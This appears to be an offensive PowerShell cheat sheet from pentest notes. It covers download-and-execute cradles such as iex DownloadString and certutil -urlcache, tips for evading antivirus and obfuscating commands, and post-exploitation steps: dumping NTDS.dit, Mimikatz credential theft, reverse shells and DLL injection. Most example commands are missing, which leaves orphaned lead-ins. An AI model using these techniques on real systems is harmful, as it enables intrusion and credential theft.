Offensive Powershell
Downloading and Execution
2 Primary ways:
Download something to disk
Run within the Powershell memory (Preferred!)
In-Memory execution (> Powershell 2.0):
iex (New-Object Net.WebClient).DownloadString()(New-Object Net.WebClient).DownloadData()(New-Object Net.WebClient).OpenRead().Net [Net.HttpWebRequest] class
Word.Application COM Object
Excel.Application COM Object
InternetExplorer.Application COM Object
MsXml2.ServerXmlHttp Com Object
Certutil.exe -ping argument
Disk-based execution (> PS 2.0):
iex (New-Object Net.WebClient).DownloadFile()bitsadmin.exe
certutil.exe -urlcache -f <remote_location> <local>
Net.WebClient DownloadString
Download and execute a remotely hosted script:
Note iex stands for Invoke-Expression
Note if using normal cmd.exe, we need to use single quote ' instead:
Tips 1: Use HTTPS to evade detection
Tips 2: Even if the remote script has an extension .gif, the script works anyway!
Tips 3: Customize the User Agent
Net.WebClient DownloadFile
To execute the downloaded file, simply:
If the system has web proxy configured, we can do:
Net.WebRequest
Download and execute scripts in memory
System.Xml.XmlDocument
First host a XML file. For example:
Then on the target machine:
Msxml2.XMLHTTP COM Object
WinHttp.WinHttpRequest.5.1 COM Object
Tools for Crafting Obfuscated Download Cradles
Obfuscation
Tool: Invoke-Obfuscation
Using Invoke-Obfuscation
Suppose we have the following command
First import the module:
Then input the scriptblock:
Choose a method with reference to Invoke-Obfuscation, like concat + reverse:
Note that you when you apply more obfuscations, the result will base on the last resulting command. As a result, the result will become much longer! So if you want to change back to the original one, use RESET
Then you can choose a launcher ...
EncodedCommand
Generally not recommended since it is easily caught by AV.
Example:
Information Gathering & Recon
PowerSploit
https://github.com/PowerShellMafia/PowerSploit
PowerSploit - Invoke-Portscan
Ping Scan
Scan OpenPorts on Alive hosts:
PowerSploit - Get-HttpStatus
Find existing paths with a dictionary:
Posh-SecMod - Invoke-ARPScan
https://github.com/darkoperator/Posh-SecMod
Posh-SecMod - Invoke-ReverseDNSLookup
Post-Exploitation
Nishang
Nishang Gather - Copy-VSS
Get NTDS.dit and content of SYSTEM registry hive
Nishang Gather - Get-Information
Nishang Gather - Get-PassHints
Nishang Gather - Invoke-Mimikatz
For example, do a DumpCreds
Nishang Scan - Invoke-BruteForce
Brute force AD accounts, SQL server, web and FTP servers.
This can also be used as password spraying tool if we only have 1-2 passwords in the dictionary.
Nishang Shells - InvokePowerShellTcp
Obtain reverse Powershell from target to netcat listener - but in cleartext!
On the attacker side (e.g. Kali):
On the target:
PowerUp
PowerUp is in the following location:
To see the command available:
PowerUp - Invoke-AllChecks
This looks for misconfigurations, permissions issues with services, DLL hijacking ...
PowerUp - Invoke-DLLInjection
Inject attacker-defined DLL into any existing process ID on the target. Reference:
http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html
First generate a DLL using MSFVENOM: Of course you can generate a Meterpreter as well.
2. Get the target download the DLL. For example:
3. Identify a process on the target system to inject our DLL. We need to get a target PID:
4. Finally inject the DLL. Assume we target PID 7400:
psgetsystem
First you NEED ADMIN PRIVILEGE.
Help to get SYSTEM privileges via a parent process, which then spawns a child process which effectively inherits the SYSTEM access privileges of the parent.
This injects ourselves into an already signed / trusted process.
Example Usage:
Identify SYSTEM processes and choose I PID
2. Exploit
Empire
Last updated